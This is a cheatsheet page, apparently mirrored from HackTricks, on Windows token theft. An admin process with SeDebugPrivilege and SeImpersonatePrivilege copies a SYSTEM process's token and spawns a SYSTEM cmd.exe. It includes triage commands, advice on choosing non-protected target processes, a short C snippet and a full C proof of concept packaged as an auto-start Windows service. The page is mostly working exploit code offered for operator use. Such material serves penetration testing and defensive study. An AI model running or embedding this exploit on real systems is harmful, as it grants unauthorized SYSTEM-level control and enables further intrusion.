daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

sedebug-seimpersonate-copy-token.md (11350B)


      1 ---
      2 title: "SeDebug + SeImpersonate - Copy Token"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/sedebug-%2B-seimpersonate-copy-token.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # SeDebug + SeImpersonate - Copy Token
     14 
     15 This page covers the **manual token-theft** variant where a **High Integrity** context that already has **`SeDebugPrivilege`** and **`SeImpersonatePrivilege`** opens a suitable **SYSTEM** process, **duplicates its token**, and **spawns a new process** with that token.
     16 
     17 If you only need a quick `SYSTEM` shell from a privileged admin process, also check:
     18 
     19 [Seimpersonate From High To System](/hacktricks/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system)
     20 
     21 If you do **not** have a process-handle path but you do have **`SeImpersonatePrivilege`**, the **named-pipe / Potato** route is usually easier:
     22 
     23 [Named Pipe Client Impersonation](/hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation)
     24 
     25 [Roguepotato And Printspoofer](/hacktricks/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer)
     26 
     27 ## Quick triage
     28 
     29 Before trying the token-copy path, confirm that the current process is already in a useful context:
     30 
     31 ```batch
     32 whoami /groups | findstr /i "high mandatory"
     33 whoami /priv | findstr /i "SeDebugPrivilege SeImpersonatePrivilege"
     34 ```
     35 
     36 Notes:
     37 
     38 - **`SeDebugPrivilege`** is what lets you open many **non-protected** SYSTEM processes even when their DACL would normally block you.
     39 - **`SeImpersonatePrivilege`** is what makes **`CreateProcessWithTokenW`** practical afterwards.
     40 - If the token-copy path only gives you a weak or filtered SYSTEM token, just steal from a **different SYSTEM process**.
     41 
     42 ## Pick the target process carefully
     43 
     44 The technique is usually shown against **`lsass.exe`**, but on modern Windows that is often the **wrong target**:
     45 
     46 - If **LSA Protection / RunAsPPL** is enabled, **`lsass.exe`** is protected and a normal admin process with `SeDebugPrivilege` still won't be able to open it.<sup>[[2]](#references)</sup>
     47 - Prefer **non-PPL SYSTEM processes** such as **`winlogon.exe`**, **`wininit.exe`**, **`services.exe`**, or an early **`svchost.exe`** instance.
     48 - **Protected processes** and some special processes such as **`System`** or **`csrss.exe`** are not realistic user-mode targets for this technique.
     49 - Use **Process Hacker / Process Explorer** running elevated to verify whether the target token actually has the privileges you want before duplicating it.
     50 
     51 ## API details that matter in practice
     52 
     53 A lot of public PoCs request **`PROCESS_ALL_ACCESS`** and **`TOKEN_ALL_ACCESS`**, but that is noisier than necessary. In practice:
     54 
     55 - Open the target process with only the rights you need (commonly **`PROCESS_QUERY_INFORMATION`** or **`PROCESS_QUERY_LIMITED_INFORMATION`**).
     56 - Open the token with the rights needed for process creation: **`TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY`**.
     57 - Use **`DuplicateTokenEx(..., TokenPrimary, ...)`** to create a **primary token**; an impersonation token alone is not enough to create a new process.
     58 - If **`CreateProcessWithTokenW`** fails with **`1314`**, switch to **`CreateProcessAsUserW`**.
     59 - If you launch from a **service / Session 0**, remember that **`CreateProcessWithTokenW`** keeps the child in the **caller's session**. If you need a visible desktop shell, use **`CreateProcessAsUserW`** and move the token to the desired session.<sup>[[1]](#references)</sup>
     60 
     61 A minimal modern flow looks like:
     62 
     63 ```c
     64 HANDLE hp = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
     65 HANDLE hTok = NULL, hDup = NULL;
     66 OpenProcessToken(hp, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, &hTok);
     67 DuplicateTokenEx(hTok, MAXIMUM_ALLOWED, NULL,
     68                  SecurityImpersonation, TokenPrimary, &hDup);
     69 CreateProcessWithTokenW(hDup, LOGON_WITH_PROFILE,
     70                         L"C:\\Windows\\System32\\cmd.exe",
     71                         NULL, 0, NULL, NULL, &si, &pi);
     72 ```
     73 
     74 ## Full service PoC
     75 
     76 The following code **exploits the privileges `SeDebugPrivilege` and `SeImpersonatePrivilege`** to copy the token from a **process running as SYSTEM** and with **all the token privileges**. In this case, the code can be compiled and used as a **Windows service binary** to verify that the primitive works.<sup>[[3]](#references)</sup>
     77 
     78 The main part of the **code where the elevation occurs** is inside the **`Exploit`** function. Inside that function you can see that **`lsass.exe`** is searched, its **token is copied**, and finally that token is used to spawn a new **`cmd.exe`** with all the privileges of the copied token.
     79 
     80 On modern hosts, you will often want to replace **`lsass.exe`** with another **non-PPL SYSTEM process** such as **`winlogon.exe`**, **`wininit.exe`**, or **`services.exe`**.
     81 
     82 Other processes running as SYSTEM with all or most of the token privileges are: **`services.exe`**, **`svchost.exe`** (some of the first ones), **`wininit.exe`**, **`csrss.exe`**... Remember that you generally **won't be able to copy a token from a protected process**.
     83 
     84 ```c
     85 // From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html
     86 #include <windows.h>
     87 #include <tlhelp32.h>
     88 #include <tchar.h>
     89 #pragma comment (lib, "advapi32")
     90 
     91 TCHAR* serviceName = TEXT("TokenDanceSrv");
     92 SERVICE_STATUS serviceStatus;
     93 SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
     94 HANDLE stopServiceEvent = 0;
     95 
     96 //This function will find the pid of a process by name
     97 int FindTarget(const char *procname) {
     98 
     99 	HANDLE hProcSnap;
    100 	PROCESSENTRY32 pe32;
    101 	int pid = 0;
    102 
    103 	hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    104 	if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
    105 
    106 	pe32.dwSize = sizeof(PROCESSENTRY32);
    107 
    108 	if (!Process32First(hProcSnap, &pe32)) {
    109 			CloseHandle(hProcSnap);
    110 			return 0;
    111 	}
    112 
    113 	while (Process32Next(hProcSnap, &pe32)) {
    114 			if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
    115 					pid = pe32.th32ProcessID;
    116 					break;
    117 			}
    118 		}
    119 
    120 	CloseHandle(hProcSnap);
    121 
    122 	return pid;
    123 }
    124 
    125 
    126 int Exploit(void) {
    127 
    128     HANDLE hSystemToken, hSystemProcess;
    129 	HANDLE dupSystemToken = NULL;
    130     HANDLE hProcess, hThread;
    131     STARTUPINFOA si;
    132     PROCESS_INFORMATION pi;
    133 	int pid = 0;
    134 
    135 
    136     ZeroMemory(&si, sizeof(si));
    137     si.cb = sizeof(si);
    138     ZeroMemory(&pi, sizeof(pi));
    139 
    140 	// open high privileged process
    141 	if ( pid = FindTarget("lsass.exe") )
    142 		hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
    143 	else
    144 		return -1;
    145 
    146 	// extract high privileged token
    147     if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
    148         CloseHandle(hSystemProcess);
    149         return -1;
    150     }
    151 
    152 	// make a copy of a token
    153 	DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);
    154 
    155 	// and spawn a new process with higher privs
    156     CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
    157 						NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    158 
    159     return 0;
    160 }
    161 
    162 
    163 void WINAPI ServiceControlHandler( DWORD controlCode ) {
    164 	switch ( controlCode ) {
    165 		case SERVICE_CONTROL_SHUTDOWN:
    166 		case SERVICE_CONTROL_STOP:
    167 			serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
    168 			SetServiceStatus( serviceStatusHandle, &serviceStatus );
    169 
    170 			SetEvent( stopServiceEvent );
    171 			return;
    172 
    173 		case SERVICE_CONTROL_PAUSE:
    174 			break;
    175 
    176 		case SERVICE_CONTROL_CONTINUE:
    177 			break;
    178 
    179 		case SERVICE_CONTROL_INTERROGATE:
    180 			break;
    181 
    182 		default:
    183 			break;
    184 	}
    185 	SetServiceStatus( serviceStatusHandle, &serviceStatus );
    186 }
    187 
    188 void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
    189 	// initialise service status
    190 	serviceStatus.dwServiceType = SERVICE_WIN32;
    191 	serviceStatus.dwCurrentState = SERVICE_STOPPED;
    192 	serviceStatus.dwControlsAccepted = 0;
    193 	serviceStatus.dwWin32ExitCode = NO_ERROR;
    194 	serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
    195 	serviceStatus.dwCheckPoint = 0;
    196 	serviceStatus.dwWaitHint = 0;
    197 
    198 	serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
    199 
    200 	if ( serviceStatusHandle ) {
    201 		// service is starting
    202 		serviceStatus.dwCurrentState = SERVICE_START_PENDING;
    203 		SetServiceStatus( serviceStatusHandle, &serviceStatus );
    204 
    205 		// do initialisation here
    206 		stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
    207 
    208 		// running
    209 		serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
    210 		serviceStatus.dwCurrentState = SERVICE_RUNNING;
    211 		SetServiceStatus( serviceStatusHandle, &serviceStatus );
    212 
    213 		Exploit();
    214 		WaitForSingleObject( stopServiceEvent, -1 );
    215 
    216 		// service was stopped
    217 		serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
    218 		SetServiceStatus( serviceStatusHandle, &serviceStatus );
    219 
    220 		// do cleanup here
    221 		CloseHandle( stopServiceEvent );
    222 		stopServiceEvent = 0;
    223 
    224 		// service is now stopped
    225 		serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
    226 		serviceStatus.dwCurrentState = SERVICE_STOPPED;
    227 		SetServiceStatus( serviceStatusHandle, &serviceStatus );
    228 	}
    229 }
    230 
    231 
    232 void InstallService() {
    233 	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
    234 
    235 	if ( serviceControlManager ) {
    236 		TCHAR path[ _MAX_PATH + 1 ];
    237 		if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
    238 			SC_HANDLE service = CreateService( serviceControlManager,
    239 							serviceName, serviceName,
    240 							SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
    241 							SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
    242 							0, 0, 0, 0, 0 );
    243 			if ( service )
    244 				CloseServiceHandle( service );
    245 		}
    246 		CloseServiceHandle( serviceControlManager );
    247 	}
    248 }
    249 
    250 void UninstallService() {
    251 	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
    252 
    253 	if ( serviceControlManager ) {
    254 		SC_HANDLE service = OpenService( serviceControlManager,
    255 			serviceName, SERVICE_QUERY_STATUS | DELETE );
    256 		if ( service ) {
    257 			SERVICE_STATUS serviceStatus;
    258 			if ( QueryServiceStatus( service, &serviceStatus ) ) {
    259 				if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
    260 					DeleteService( service );
    261 			}
    262 			CloseServiceHandle( service );
    263 		}
    264 		CloseServiceHandle( serviceControlManager );
    265 	}
    266 }
    267 
    268 int _tmain( int argc, TCHAR* argv[] )
    269 {
    270 	if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
    271 		InstallService();
    272 	}
    273 	else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
    274 		UninstallService();
    275 	}
    276 	else  {
    277 		SERVICE_TABLE_ENTRY serviceTable[] = {
    278 			{ serviceName, ServiceMain },
    279 			{ 0, 0 }
    280 		};
    281 
    282 		StartServiceCtrlDispatcher( serviceTable );
    283 	}
    284 
    285 	return 0;
    286 }
    287 ```
    288 
    289 ## References
    290 
    291 - [1] [CreateProcessWithTokenW function (Microsoft Learn)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw)
    292 - [2] [Configure added LSA protection (Microsoft Learn)](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection)
    293 - [3] [Running my program as a service (cboard.cprogramming.com) – Windows service skeleton used by the PoC](https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html)